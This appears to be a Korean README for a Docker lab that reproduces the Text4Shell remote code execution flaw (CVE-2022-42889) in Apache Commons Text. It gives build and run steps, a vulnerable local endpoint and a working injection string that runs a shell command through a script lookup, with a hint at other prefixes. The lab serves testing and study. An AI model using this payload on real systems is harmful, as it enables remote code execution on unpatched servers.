dimamend/cve-2022-42889-text4shellApache Commons Text에서 CVE-2022-42889(Text4Shell) 원격 코드 실행 취약점을 재현하고 테스트하기 위한 Docker 기반 실험 환경입니다.
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
dns 또는 url prefix도 사용해 볼 수 있습니다.
컨테이너 ID 확인
docker container ls
docker exec -it <container_id> bash
/tmp 디렉토리에 foo라는 파일이 생성된 것을 볼 수 있습니다):ls /tmp/
docker container stop <container_id>